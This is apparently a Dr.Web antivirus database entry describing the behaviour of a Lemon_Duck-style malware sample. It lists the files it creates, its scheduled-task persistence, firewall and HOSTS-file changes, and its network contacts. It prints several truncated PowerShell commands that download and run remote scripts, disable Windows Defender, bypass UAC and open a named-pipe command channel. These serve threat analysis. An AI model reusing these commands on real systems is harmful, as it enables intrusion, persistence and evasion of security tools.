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Exploit.Siggen.63635

Added to the Dr.Web virus database: 2020-04-18

Virus description added:

Technical Information

To ensure autorun and distribution
Creates or modifies the following files
  • <SYSTEM32>\tasks\bluetea
  • <SYSTEM32>\tasks\wjruei5mohl
  • <SYSTEM32>\tasks\asxaqj3tlif\ywanam
  • <SYSTEM32>\tasks\microsoft\windows\2w3clvs\m1ggkbchl0m
  • <SYSTEM32>\tasks\wxh70ydle
  • <SYSTEM32>\tasks\ufzfivcekjg\b6tiul1v
  • <SYSTEM32>\tasks\microsoft\windows\pzuxms\l0moa7
Malicious functions
To complicate detection of its presence in the operating system,
blocks the following features:
  • Windows Security Center
Downloads and executes
  • http://t.##cna.com/mail.jsp?do##########################################################
Executes the following
  • '<SYSTEM32>\netsh.exe' firewall add portopening tcp 65529 SDNSd
  • '<SYSTEM32>\netsh.exe' firewall add portopening tcp 65533 DNSd
Executes the following (exploit)
  • '<SYSTEM32>\cmd.exe' /c powershell -w hidden -c "if([Environment]::OSVersion.version.Major -eq '10'){Set-ItemProperty -Path 'HKCU:Environment' -Name 'windir' -Value 'cmd /c powershell -w hidden Set-MpPreference -Di...
Modifies file system
Creates the following files
  • %TEMP%\nasm62flrid8qdc.sct
  • %WINDIR%\temp\_grzb98c.dll
  • %WINDIR%\temp\resbda6.tmp
  • %WINDIR%\temp\cscbd85.tmp
  • %WINDIR%\temp\_grzb98c.pdb
  • %WINDIR%\temp\_grzb98c.out
  • %WINDIR%\temp\_grzb98c.cmdline
  • %WINDIR%\temp\_grzb98c.0.cs
  • %WINDIR%\temp\if.bin
  • <SYSTEM32>\migwiz\$dpx$.tmp\214742e7b1f4ce489244f8f0299f9542.tmp
  • %TEMP%\cab_2700_5
  • %TEMP%\cab_2700_6
  • %TEMP%\cab_2700_4
  • %TEMP%\cab_2700_2
  • %TEMP%\cab_2700_3
  • %TEMP%\wdscore.dll
  • %WINDIR%\temp\cmd.bat
  • %TEMP%\uac.cab
  • %WINDIR%\temp\m6.bin
Deletes the following files
  • %TEMP%\cab_2700_2
  • %TEMP%\cab_2700_3
  • %TEMP%\cab_2700_4
  • %TEMP%\cab_2700_5
  • %TEMP%\cab_2700_6
  • %TEMP%\uac.cab
  • %TEMP%\wdscore.dll
  • %TEMP%\nasm62flrid8qdc.sct
  • %WINDIR%\temp\resbda6.tmp
  • %WINDIR%\temp\cscbd85.tmp
  • %WINDIR%\temp\_grzb98c.out
  • %WINDIR%\temp\_grzb98c.dll
  • %WINDIR%\temp\_grzb98c.pdb
  • %WINDIR%\temp\_grzb98c.0.cs
  • %WINDIR%\temp\_grzb98c.cmdline
Moves the following files
  • from <SYSTEM32>\migwiz\$dpx$.tmp\214742e7b1f4ce489244f8f0299f9542.tmp to <SYSTEM32>\migwiz\wdscore.dll
Modifies the HOSTS file.
Network activity
TCP
HTTP GET requests
  • http://t.##cna.com/7p.php
  • http://t.##cna.com/mail.jsp?do####################
  • http://t.##cna.com/x.js
  • http://t.##cna.com/x.jsp?ma############################################################################################################
  • http://t.##cna.com/report.jsp?ig#################################################################################################################################################################...
  • http://20#.#89.144.115/if_mail.bin?ig############################################################################################################################################################...
  • http://20#.#89.144.115/if.bin?ig#################################################################
  • http://20#.#89.144.115/m6.bin?ig#################################################################
  • http://jr##7mc.jp/w.js
UDP
  • DNS ASK t.##cna.com
  • DNS ASK t.##2q.com
  • DNS ASK t.##ynx.com
  • DNS ASK lp##.ackng.com
  • DNS ASK ch###d9zqo.cn
  • DNS ASK sp##x38.kr
Miscellaneous
Creates and executes the following
  • '<SYSTEM32>\cmd.exe' /c powershell -w hidden -c "if([Environment]::OSVersion.version.Major -eq '10'){Set-ItemProperty -Path 'HKCU:Environment' -Name 'windir' -Value 'cmd /c powershell -w hidden Set-MpPreference -Di...' (with hidden window)
  • '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -c "$Lemon_Duck='\wJRuei5MoHL';$x='t.tr2'+'q.com';;$y='http://'+#x+'/x.js';$z=$y+'p?ma############################# Net.WebC`lient)."DownloadData"($y);[System.Security.Cryptography.MD5]::Create...' (with hidden window)
  • '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -c "$Lemon_Duck='aSxAQJ3TLIF\YWanAm';$x='t.awc'+'na.com';;$y='http://'+#x+'/x.js';$z=$y+'p?ma############################# Net.WebC`lient)."DownloadData"($y);[System.Security.Cryptography.MD5]:...' (with hidden window)
  • '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -c "$Lemon_Duck='MicroSoft\Windows\2w3CLvS\M1GgkbChL0m';$x='t.amy'+'nx.com';;$y='http://'+#x+'/x.js';$z=$y+'p?ma############################# Net.WebC`lient)."DownloadData"($y);[System.Security...' (with hidden window)
  • '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -c "$Lemon_Duck='\WxH70ydLE';$x='chpEo'+'D9ZQO.cn';[Net.Dns]::GetHostAddresses('t.tr2'+'q.com')[0].IPAddressToString+' '+$x|out-file -"encoding" as`ci`i <DRIVERS>\etc\hosts;$y='http://'+#x+'/w....' (with hidden window)
  • '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -c "$Lemon_Duck='ufZFivCekjG\B6TIUl1v';$x='jR267'+'mC.jp';[Net.Dns]::GetHostAddresses('t.awc'+'na.com')[0].IPAddressToString+' '+$x|out-file -"encoding" as`ci`i <DRIVERS>\etc\hosts;$y='http://'...' (with hidden window)
  • '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%WINDIR%\TEMP\_grzb98c.cmdline"' (with hidden window)
  • '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -c "$Lemon_Duck='MicroSoft\Windows\pzUXMs\L0mOa7';$x='sPjqx'+'38.kr';[Net.Dns]::GetHostAddresses('t.amy'+'nx.com')[0].IPAddressToString+' '+$x|out-file -"encoding" as`ci`i <DRIVERS>\etc\hosts;$...' (with hidden window)
  • '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%WINDIR%\TEMP\RESBDA6.tmp" "%WINDIR%\Temp\CSCBD85.tmp"' (with hidden window)
  • '<SYSTEM32>\cmd.exe' powershell -c $pipe=new-object System.IO.Pipes.NamedPipeServerStream('\\.\pipe\HHyeuqi7');$pipe.WaitForConnection();$sr=new-object System.IO.StreamReader($pipe);$cmd=$sr.ReadToEnd();$sr.Dispose...' (with hidden window)
Executes the following
  • '<SYSTEM32>\makecab.exe' %TEMP%\wdscore.dll %TEMP%\uac.cab
  • '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -c "try{$localIf=$flase;New-Object Threading.Mutex($true,'Global\eLocalIf',[ref]$localIf)}catch{};$ifmd5='c2fcf4ebba3fbfa1fc4c82e728137076';$ifp=$env:tmp+'\if.bin';$down_url='http://20#.###.144...
  • '<SYSTEM32>\cmd.exe' /c powershell -c "try{$localMn=$flase;New-Object Threading.Mutex($true,'Global\eLocalMn',[ref]$localMn)}catch{};$ifmd5='5b2849ff2e8c335dcc60fd2155b2d4d3';$ifp=$env:tmp+'\m6.bin';$down_url='http...
  • '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -c "$Lemon_Duck='ufZFivCekjG\B6TIUl1v';$x='jR267'+'mC.jp';[Net.Dns]::GetHostAddresses('t.awc'+'na.com')[0].IPAddressToString+' '+$x|out-file -"encoding" as`ci`i <DRIVERS>\etc\hosts;$y='http://'...
  • '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -c "try{$localMn=$flase;New-Object Threading.Mutex($true,'Global\eLocalMn',[ref]$localMn)}catch{};$ifmd5='5b2849ff2e8c335dcc60fd2155b2d4d3';$ifp=$env:tmp+'\m6.bin';$down_url='http://20#.###.144...
  • '<SYSTEM32>\schtasks.exe' /create /ru system /sc MINUTE /mo 60 /tn MicroSoft\Windows\pzUXMs\L0mOa7 /F /tr "powershell PS_CMD"
  • '<SYSTEM32>\schtasks.exe' /run /tn MicroSoft\Windows\pzUXMs\L0mOa7
  • '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%WINDIR%\TEMP\_grzb98c.cmdline"
  • '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -c "$Lemon_Duck='MicroSoft\Windows\pzUXMs\L0mOa7';$x='sPjqx'+'38.kr';[Net.Dns]::GetHostAddresses('t.amy'+'nx.com')[0].IPAddressToString+' '+$x|out-file -"encoding" as`ci`i <DRIVERS>\etc\hosts;$...
  • '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%WINDIR%\TEMP\RESBDA6.tmp" "%WINDIR%\Temp\CSCBD85.tmp"
  • '<SYSTEM32>\schtasks.exe' /delete /tn Rtsa2 /F
  • '<SYSTEM32>\schtasks.exe' /delete /tn Rtsa1 /F
  • '<SYSTEM32>\schtasks.exe' /delete /tn Rtsa /F
  • '<SYSTEM32>\cmd.exe' powershell -c $pipe=new-object System.IO.Pipes.NamedPipeServerStream('\\.\pipe\HHyeuqi7');$pipe.WaitForConnection();$sr=new-object System.IO.StreamReader($pipe);$cmd=$sr.ReadToEnd();$sr.Dispose...
  • '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -c $pipe=new-object System.IO.Pipes.NamedPipeServerStream('\\.\pipe\HHyeuqi7');$pipe.WaitForConnection();$sr=new-object System.IO.StreamReader($pipe);$cmd=$sr.ReadToEnd();$sr.Dispose();$pipe.Di...
  • '<SYSTEM32>\cmd.exe' /c netsh.exe firewall add portopening tcp 65529 SDNSd
  • '<SYSTEM32>\schtasks.exe' /run /tn ufZFivCekjG\B6TIUl1v
  • '<SYSTEM32>\netsh.exe' interface portproxy add v4tov4 listenport=65529 connectaddress=1.1.1.1 connectport=53
  • '<SYSTEM32>\cmd.exe' /c powershell -c "try{$localIf=$flase;New-Object Threading.Mutex($true,'Global\eLocalIf',[ref]$localIf)}catch{};$ifmd5='c2fcf4ebba3fbfa1fc4c82e728137076';$ifp=$env:tmp+'\if.bin';$down_url='http...
  • '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -c "$Lemon_Duck='\WxH70ydLE';$x='chpEo'+'D9ZQO.cn';[Net.Dns]::GetHostAddresses('t.tr2'+'q.com')[0].IPAddressToString+' '+$x|out-file -"encoding" as`ci`i <DRIVERS>\etc\hosts;$y='http://'+#x+'/w....
  • '<SYSTEM32>\wusa.exe' %TEMP%\uac.cab /extract:<SYSTEM32>\migwiz\
  • '<SYSTEM32>\migwiz\migwiz.exe'
  • '<SYSTEM32>\cmd.exe' /c "%WINDIR%\temp\cmd.bat"
  • '<SYSTEM32>\schtasks.exe' /create /ru system /sc MINUTE /mo 120 /tn bluetea /F /tr bluetea
  • '<SYSTEM32>\schtasks.exe' /create /ru system /sc MINUTE /mo 60 /tn \wJRuei5MoHL /F /tr "powershell PS_CMD"
  • '<SYSTEM32>\schtasks.exe' /run /tn \wJRuei5MoHL
  • '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -c "$Lemon_Duck='\wJRuei5MoHL';$x='t.tr2'+'q.com';;$y='http://'+#x+'/x.js';$z=$y+'p?ma############################# Net.WebC`lient)."DownloadData"($y);[System.Security.Cryptography.MD5]::Create...
  • '<SYSTEM32>\schtasks.exe' /create /ru system /sc MINUTE /mo 60 /tn aSxAQJ3TLIF\YWanAm /F /tr "powershell PS_CMD"
  • '<SYSTEM32>\schtasks.exe' /run /tn aSxAQJ3TLIF\YWanAm
  • '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -c "$Lemon_Duck='aSxAQJ3TLIF\YWanAm';$x='t.awc'+'na.com';;$y='http://'+#x+'/x.js';$z=$y+'p?ma############################# Net.WebC`lient)."DownloadData"($y);[System.Security.Cryptography.MD5]:...
  • '<SYSTEM32>\schtasks.exe' /create /ru system /sc MINUTE /mo 60 /tn MicroSoft\Windows\2w3CLvS\M1GgkbChL0m /F /tr "powershell PS_CMD"
  • '<SYSTEM32>\schtasks.exe' /run /tn MicroSoft\Windows\2w3CLvS\M1GgkbChL0m
  • '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -c "$Lemon_Duck='MicroSoft\Windows\2w3CLvS\M1GgkbChL0m';$x='t.amy'+'nx.com';;$y='http://'+#x+'/x.js';$z=$y+'p?ma############################# Net.WebC`lient)."DownloadData"($y);[System.Security...
  • '<SYSTEM32>\schtasks.exe' /create /ru system /sc MINUTE /mo 60 /tn \WxH70ydLE /F /tr "powershell PS_CMD"
  • '<SYSTEM32>\schtasks.exe' /run /tn \WxH70ydLE
  • '<SYSTEM32>\schtasks.exe' /create /ru system /sc MINUTE /mo 60 /tn ufZFivCekjG\B6TIUl1v /F /tr "powershell PS_CMD"
  • '<SYSTEM32>\cmd.exe' /c netsh.exe firewall add portopening tcp 65533 DNSd

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